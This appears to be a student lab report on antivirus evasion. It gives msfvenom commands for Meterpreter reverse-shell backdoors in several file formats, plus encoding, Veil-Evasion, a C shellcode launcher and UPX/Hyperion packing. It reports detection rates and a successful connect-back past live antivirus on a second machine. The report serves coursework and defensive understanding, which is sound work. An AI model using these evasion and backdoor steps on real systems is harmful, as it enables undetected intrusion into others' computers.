一、实验目标
- 正确使用msf编码器,使用msfvenom生成如jar、php之类的其他文件,并用virustotal进行检测,会使用基本的免杀工具
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
二、基础知识
1. 免杀与杀软
- 免杀技术全称为反杀毒技术 Anti Anti- Virus,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
- 注意:免杀不是Rootkit技术,也不是加密解密技术
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 杀软的基本思路如下:
2. Veil-Evasion
- veil-evasion是linux平台的一款免杀工具,可直接通过apt-get安装,用来生成msf的payload,能绕过常见的杀软。
- 常用参数如下:
list
:列出可选的payloaduse
编号:选择payloadoptions
:查看参数set lhost ip_of_kali
:设置ipset lport xxx
:设置端口号generate
:生成文件
3. 加壳:可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解),大多数病毒就是基于此原理。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
- 从技术上分壳分为:
- 压缩壳:减少应用体积,如ASPack,UPX
- 压缩壳并不会对被加壳程序本身做任何修改,而是直至将其换成一种更加节省空间的存储方式,其目的大致类似于我们经常使用的RAR或ZIP。经过压缩壳处理过的程序在真正被CPU执行前是会自动解压缩(解密)的。
- 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
- 加密壳的主要目的是保护原程序不被破解,一般情况下,经过加密壳处理的应用程序体积会增加,但也有部分加密壳结合了压缩壳的特性,会在加密完成后再进行压缩。而且一般情况下,加密壳会对原程序进行一定的修改。
- 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
- 虚拟机保护壳会将被保护程序的可执行代码重新编码为自己的软件CPU可以识别的格式,并进行存储、加载及模拟执行。
- 压缩壳:减少应用体积,如ASPack,UPX
三、基础问题回答
1. 杀软是如何检测出恶意代码的?
-
基于特征码的检测(精确的)
- 一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
- 过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库
-
启发式恶意软件检测(非精确的)
- 就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
- 优点:可以检测0-day恶意软件、具有一定通用性
- 缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高
-
基于行为的恶意软件检测(非精确的)
- 相当于是启发式的一种,或者是加入了行为监控的启发式
- 通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
2. 免杀是做什么?
- 免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的。
- 它也是渗透测试中需要使用到的技术。
3. 免杀的基本方法有哪些?
- 改变特征码
- 手里只有EXE——加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)——用encode进行编码 、 基于payload重新编译生成可执行文件
- 有源代码——用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
四、开启杀软能绝对防止电脑中恶意代码吗?
从下面的实验过程可以看出,开启杀软也不能百分之百防止电脑中恶意代码,一些恶意程序还是可以躲过杀软的监视。例如下面加了压缩壳的exe可执行文件就躲过了监视。
五、实验内容
任务一:正确使用基础免杀工具或技巧
1. 正确使用msf编码器
- 使用msf生成后门程序,用Virustotal进行扫描,结果如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=1318 -f exe > 20181318_backdoor.exe
由图可以看出,一共有52款杀软检测出该程序是恶意程序,被检测出来的概率还是比较高的
- 一次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.174.129 LPORT=1318 -f exe > 20181318_encoded.exe
注意:-e:
选择编码器
-p:
选择要设置的payload
-b:
去除字符(在本命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)
由图可以看出,一次编码之后,被检测出来的概率基本上没有变化,概率还是比较高的
- 十次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.174.129 LPORT=1318 -f exe > 20181318_encoded2.exe
注意:-i:
设置迭代次数
(由于手速过慢,所以后续的截图有一部分是通过录屏之后截得的,比较糊...)
由图可以看出,就算经过了10次编码,被检测概率依然还是很高,甚至变得更差了
原因分析如下:
- AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入到exe中,这部分总会被杀软识别出来。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,会有一定的固定特征。所以AV会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用原生的模板生成exe。
2. 使用msfvenom生成如jar之类的其他文件
- 生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.174.129 lport=1318 > 20181318.jar
使用VirusTota网站进行扫描,发现效果比之前直接生成exe文件效果好一些,结果为35/61
- 生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.174.129 lport=1318 > 20181318.apk
使用VirusTota网站进行扫描,发现效果和上面jar文件的差不多,结果为31/64
- 生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.174.129 lport=1318 > 20181318.php
使用VirusTota网站进行扫描,发现效果比之前生成jar文件效果好一些,结果为19/57
- 生成Python文件
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.174.129 lport=1318 > 20181318.py
使用VirusTota网站进行扫描,发现效果特别好,结果为1/58
3. 使用veil-evasion生成后门程序及检测
安装veil
- 安装veil 输入指令
sudo apt-get install veil-evasion
- 这里的安装过程比较慢,一定要耐心等待
- 也可以更换码云,稍微的将速度提高那么一丢丢,过程如下:
- 使用命令
cd /usr/share/veil/config/
进入文件夹 - 使用命令
sudo vim setup.sh
编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
- 使用命令
- 也可以更换码云,稍微的将速度提高那么一丢丢,过程如下:
- 安装过程中会出现很多次软件安装的选择,输入
y
即可。 - 运行veil 输入指令
veil
,出现下图的绿色界面即安装成功。
- 输入
use evasion
进入Evil-Evasion界面,也可以用use 1
进入
- 输入
list
查看可以使用的payload
- 选择一个可用的playload,输入use 编号,我们在这里选择powershell,就输入
use 22
- 设置地址和端口号
set LHOST 192.168.174.129 //设置反弹连接IP
set LPORT 1318 //设置端口
options //查看设置情况
输入generate
生成文件,然后输入你想要playload的名字
从图中可以看出,该文件存于/var/lib/veil/output/source目录下,我们去该目录下查看此文件!
使用VirusTota网站进行扫描,发现效果也不是特别好,结果为33/59
- 接下来,我们选择生成exe文件 输入
use 7
进入c/meterpreter/rev_tcp.py配置界面 按照上述步骤配置ip和端口号
- 输入
generate
生成文件,命名为veil_c_1318
从图中可以看出,源文件存于/var/lib/veil/output/source目录下,我们去该目录下查看此文件!
生成的可执行文件在/var/lib/veil/output/compiled目录下
使用VirusTota网站进行扫描,发现效果也不是特别好,结果为39/70
4. C + shellcode编程
- 首先,用msf生成一段shellcode 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=1318 -f c
- 然后创建一个名为1318.c的文件,并将我们刚刚生成的shellcode加进去,代码如下:
unsigned char buf[] = 生成的shellcodeint main()
{
int (func)() = (int()())buf;
func();
}
- 输入
i686-w64-mingw32-g++ 1318.c -o 1318.exe
编译这个.c文件为可执行文件
使用VirusTota网站进行扫描,发现效果也不好,结果为39/70
- 将1318.exe拷贝至win10中,双击执行,出现下图中的报错
参考课题负责人博客得知,是因为本地缺少dll文件,去Linux中将缺少的dll拷贝至win10即可。
再次双击执行,结果如下:
说明,杀软对1318.exe进行了相关的修改,导致该恶意程序无法运行。
5. 加壳
- 使用压缩壳(UPX)
对我们上面生成的1318.exe用UPX加壳,输入upx 1318.exe -o 1318_upx.exe
,生成1318_upx.exe
对该加壳文件进行检测,结果为33/70。发现效果稍微有那么一丢丢改观,但还是很容易被检测出来
将该加过压缩壳的文件拷贝至win10中,双击执行,联想电脑管家并没有查出来
-
使用加密壳(Hyperion)
- 将上面使用压缩壳生成的1318_upx.exe拷贝到/usr/share/windows-resources/hyperion/目录中(使用root权限)
- 进入目录/usr/share/windows-recourses/hyperion/中
- 输入命令
sudo wine hyperion.exe -v 1318_upx.exe 1318_hyperion_upx.exe
进行加壳
对该加壳文件进行检测,结果为48/69,发现效果比上面的更差了。
将加了两次壳的文件拷出来,双击执行,发现被杀软检查到
有些奇怪,为什么加了两次壳的文件反倒会被查出来呢?
接着,我对电脑做了一次全盘扫描,发现和上面的结果一样,3个恶意文件中,只有使用压缩壳的那个文件没有被检查出来。
任务二:通过组合应用各种技术实现恶意代码免杀
- 使用工具shellcode_launcher
- 先用Msfvenom生成raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.174.129 lport=1318 -f raw -o 20181318.raw
- 将此.raw文件拷贝至win10中
- 在linux中使用msf开启监听(同实验二)
- 在win10中打开命令行,进入shellcode_launcher文件夹,输入
shellcode_launcher.exe -i 20181318.raw
发现连接成功,输入dir,结果如下:
免杀成功!!
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 首先,用msf生成后门文件131318.raw
注意:此处的地址为kali机的地址
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.114 lport=31813 -f raw -o 131318.raw
- 队友用ncat.exe接收该后门文件
- 用nc将该后门文件传给队友,队友的ip地址为
192.168.1.226
输入nc 192.168.1.226 31813 < 131318.raw
- 开启msf监听(步骤同实验二)
- 队友在win10输入
shellcode_launcher.exe -i 131318.raw
执行该后门文件
- 发现免杀成功!!!
六、实验中的问题
-
安装veil时,速度很慢,而且经常卡到一个地方就不动了。
原因:部分库没有克隆完成或没有更新
解决方案:输入sudo apt-get update
先更新,然后再看自己缺什么库,添加进去即可。
可以按照老师的教程提前安装以下包:
-
在用veil生成文件时,有以下报错
原因:当前用户权限不够
解决方案:使用sudo veil
启动veil即可 -
两台主机在ping的时候ping不通
解决方案:将虚拟机调为桥接模式即可 -
在用两台电脑互联时,使用msf开启监听有以下报错:
原因:使用msf生成后门时,lhost地址设置错误
解决方案:将lhost设置为kali机地址即可。
七、实验总结与体会
这次实验整个做下来,就是一个字——难。上一个后门实验,我们是在关闭杀软的前提下完成的,这次实验相当于是对上次实验的一个延伸和拓展。从老师的讲义中我们可以得知,要想做到免杀,首先要了解杀软的原理。这次实验让我知道了两个可疑文件分析服务的网站VirusTotal和Virscan,这两个网站对同一个文件的结果可能不是百分之百的相同,但也都是大同小异。每个杀软的安全性都不一样,做实验的过程中,感觉联想自带的杀软还可以,大部分都能检测出来,比360好用...不过经过对比,可以发现AV厂商确实是在不断更新自己的特征库,能监测出来的恶意程序越来越多。
本来以为实验按照老师和学长学姐的博客可以很顺利的做下来,但是真正上手的时候遇到了各种各样的错误,不过好在和同学们讨论也基本都解决了。但是说实话,整个实验做下来,对杀软的一些细节还是不太明白,以后会找时间再把这一点给搞明白的!
这次实验做完之后让我感觉到,杀毒软件也不是那么可靠,他们也并不能将所有的恶意文件都给拦截下来。这也恰恰让我意识到,我们不能完全依赖于杀软,我们要提高自己的安全防范意识,自己有意识的不去做那些不安全的操作,下载应用一定要从官网上下载,要下载正版软件,要能够用官网上提供的MD5值检查该应用是否被篡改;同时也要会用工具监控进程操作,要设置好防火墙的出入站规则,及时更新自己的杀软,降低计算机被控制的可能性!!!